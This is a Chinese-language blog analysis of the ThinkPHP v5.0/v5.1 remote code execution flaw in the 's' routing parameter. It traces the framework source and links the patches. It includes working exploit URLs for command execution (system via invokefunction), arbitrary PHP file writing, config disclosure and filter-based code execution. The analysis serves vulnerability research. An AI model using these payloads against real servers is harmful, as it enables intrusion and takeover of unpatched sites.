02-05 【Code Analysis】thinkphp v5.x App.php s引數RCE
放假了,對thinkphp的幾個RCE做一下分析,記錄一下XD
thinkphp v5.0.x
漏洞相關資訊
漏洞版本:<= 5.0.22
補丁:版本更新 · top-think/framework@4cbc0b5 · GitHub
問題點:library/think/App.php
漏洞分析
關於thinkphp的url解析方式
index.php/module/controller/action
對於不支援PATHINFO的伺服器,THINKPHP提供了相容模式?s=/module/controller/action
的方式來訪問
而這次的漏洞成因就是在於相容模式處理時存在的問題。
首先看thinkphp/library/think/Request.php
的pathinfo
函式
public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { // 判斷URL裡面是否有相容模式引數 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { // CLI模式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } // 分析PATHINFO資訊 ... $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; }
當GET請求中帶有s引數(config中預設var_pathinfo為s),將pathinfo設定為s的引數值
有了pathinfo值,我們再找到具體的解析url的函式,thinkphp/library/think/Route.php
的parseUrl
函式
public static function parseUrl($url, $depr = '/', $autoSearch = false) { if (isset(self::$bind['module'])) { $bind = str_replace('/', $depr, self::$bind['module']); // 如果有模組/控制器繫結 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } $url= str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); $route= [null, null, null]; // ... }
其中parseUrl函式的$url
為上面拿到的pathinfo,$depr
為預設的分割符
$url
替換分割符為|
,再輸入到parseUrlPath
函式(根據/
分割),該函式對pathinfo進行分割,產生module
、controller
、action
那麼現在來看rce的Poc
?s=/index/\think\app/invokefunction
=>[module:index,controller:\think\app,action:invokefunction]
其中controller=>\think\app,是php名稱空間的表示方式,\think\app實際呼叫library/think/App.php,後面的action實際呼叫的App.php中的invokefunction函式
漏洞成因點
上面分析了thinkphp的相容模式是如何處理s引數的,並且處理存在一個問題就是可以偽造controller,導致實際呼叫為其他的類和函式
看一下拿到module、controller、action後系統的處理
thinkphp/library/think/App.php 的 module函式
public static function module($result, $config, $convert = null) { if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); ... // 設定預設過濾機制 $request->filter($config['default_filter']); ... try { $instance = Loader::controller(// 例項化controller類 $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } // 獲取當前操作名 $action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 執行操作方法 $call = [$instance, $action]; // 嚴格獲取當前操作方法名 $reflect= new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix= $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars);// 呼叫函式 }
拿到例項化後的物件和方法,動態呼叫invokeMethod
public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class= is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { // 靜態方法 $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars);// 獲取引數內容 這裡獲取到引數用做method的引數輸入 self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
這裡使用bindParams函式從get或post中獲取到對應的內容,需要注意的是,做引數嵌入時,需要以函式的引數名為鍵
如invokeFunction的引數為$function
、$vars
,那麼在引數中就需要以function=xxx&vars[0]=xxx&vars[1]=xxx
即poc的後半部分
function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
所以呼叫鏈現在變成了
- 動態呼叫\think\app invokeFunction函式
- 提供function=call_user_func_array作為invokeFunction動態呼叫的引數,所以下一步呼叫call_user_func_array函式
- call_user_func_array的引數為system函式,system函式的引數為ls -l,所以這裡用了2維陣列
所以我們可以發散一下思維,我們其實不單單可以呼叫\think\app這個類,如果其他的類可以任意呼叫其他函式,或者是呼叫命令執行函式,同樣具有危害性
如任意命令執行
?s=/index/think\view\driver\php/display&content=<?php%20phpinfo();
任意檔案寫入,生成在index.php同一級目錄
?s=index/\think\template\driver\file/write&cacheFile=test.php&content=<?php%20phpinfo();
獲取配置資訊
?s=index/\think\config/get&name=database.username
thinkphp v5.1.x
版本資訊
版本:<= v5.1.30
補丁資訊:修正控制器呼叫 · top-think/framework@802f284 · GitHub
漏洞點:thinkphp/library/think/route/dispatch/Module.php
漏洞分析
原理同v5.0.x版本類似,也是由於s引數帶入的路徑解析存在安全問題導致的任意程式碼執行
先看App::run()
public function run() { try { // 初始化應用 $this->initialize(); ... $dispatch = $this->dispatch; if (empty($dispatch)) { // 路由檢測 $dispatch = $this->routeCheck()->init();// 處理module、controller、action } // 記錄當前排程資訊 $this->request->dispatch($dispatch); ... } catch (HttpResponseException $exception) { $dispatch = null; $data= $exception->getResponse(); } $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) { return is_null($data) ? $dispatch->run() : $data; }); $response = $this->middleware->dispatch($this->request);// 動態呼叫controller、action ... return $response; }
App::run()函式體現了程式的一個主要流程,從路徑的解析到動態解析執行相應的控制器及方法
先來看看第13行,獲取相應的路徑資訊
thinkphp/library/think/App.php routeCheck()函式
public function routeCheck() { // 檢測路由快取 ... // 獲取應用排程資訊 $path = $this->request->path(); // 從Request.php path提取urlpath 具體從pathinfo(),優先獲取$_GET[$this->config['var_pathinfo']] // var_pathinfo 預設為s // 是否強制路由模式 $must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must'); // 路由檢測 返回一個Dispatch物件 $dispatch = $this->route->check($path, $must);//返回UrlDispatch類例項,從dispatch類處繼承 ... return $dispatch; }
第7行從s引數中獲取路由路徑(s為var_pathinfo的預設值),在呼叫routeCheck函式後返回一個UrlDispatch,之後呼叫了Url類的init函式
thinkphp/library/think/route/dispatch/Url.php init
public function init() { // 解析預設的URL規則 $result = $this->parseUrl($this->dispatch); // parseUrl函式處理引數值(以/分割,傳入|也行會被替換成/,最終由/來分割),返回[module,controller,action] return (new Module($this->request, $this->rule, $result))->init(); }
返回Module物件,繼承自Dispatch物件,並且呼叫了init函式,將解析後的路由填充到dispatch,供後面App::run()函式動態呼叫dispatch的run函式,v5.1版本的呼叫鏈複雜了一點,但是其實內容同v5.0版本類似
Dispatch::run()函式呼叫了Module::exec()函式
thinkphp/library/think/route/dispatch/Module.php exec()
public function exec() { // 監聽module_init $this->app['hook']->listen('module_init'); try { // 例項化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); if ($instance instanceof Controller) { $instance->registerMiddleware(); } } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } // 閉包呼叫 $this->app['middleware']->controller(function (Request $request, $next) use ($instance) { // 獲取當前操作名 $action = $this->actionName . $this->rule->getConfig('action_suffix'); if (is_callable([$instance, $action])) { // 執行操作方法 $call = [$instance, $action]; // 嚴格獲取當前操作方法名 $reflect= new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix= $this->rule->getConfig('action_suffix'); $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $this->request->setAction($actionName); // 自動獲取請求變數 $vars = $this->rule->getConfig('url_param_type') ? $this->request->route() : $this->request->param(); $vars = array_merge($vars, $this->param); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call= [$instance, '_empty']; $vars= [$this->actionName]; $reflect = new ReflectionMethod($instance, '_empty'); } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } $this->app['hook']->listen('action_begin', $call); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data); }); return $this->app['middleware']->dispatch($this->request, 'controller'); }
簡單描述exec函式,例項化controller,用於後面20行到55行的閉包函式,這個必報函式主要完成了呼叫controller的action,並獲取輸入的引數值,最後由invokeReflectMethod完成主要的呼叫。
最終的呼叫函式為Request::filterValue函式
private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 呼叫函式或者方法過濾 $value = call_user_func($filter, $value);//呼叫函式 } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { // 正則過濾 if (!preg_match($filter, $value)) { // 匹配不成功返回預設值 $value = $default; break; } } elseif (!empty($filter)) { // filter函式不存在時, 則使用filter_var進行過濾 // filter為非整形值時, 呼叫filter_id取得過濾id $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } } return $value; }
到這裡其實思路很明顯,利用/分割出能利用的controller,並輸入相應的引數值,接下來就是找可利用的函式。
v5.0版本中poc都能用
如任意命令執行
?s=/index/think\view\driver\php/display&content=<?php%20phpinfo();
任意檔案寫入,生成在index.php同一級目錄
?s=index/\think\template\driver\file/write&cacheFile=test.php&content=<?php%20phpinfo();
獲取配置資訊
?s=index/\think\config/get&name=database.username
除此之外,還可以使用\think\request/input(v5.0版本不能用是因為think\request的建構函式為protected,不允許動態呼叫)
如任意程式碼執行
?s=index/\think\request/input&data[]=123&filter=phpinfo
invokeFunction核心ReflectionFunction
?s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
?s=index/\think\container/invokeFunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
因為think\app繼承自think\container,所以改成think\app也行
其中call_user_func填充引數時,以陣列形式,第一個為函式名,第二個為函式引數
call_user_func_array填充引數時,以陣列形式,第一個為函式名,第二個為函式引數(也為陣列形式)
這裡v5.1只能用php7,如v5.0還可以使用assert來執行函式
總結
這次出的這個漏洞危害很大,整個呼叫過程也非常漂亮,值得一步一步除錯。
其中收穫大致就是了解了thinkphp v5版本路由呼叫的流程,v5.1版本的閉包函式構造的方式給框架帶來了不一樣的感受,不得不給thinkphp一個贊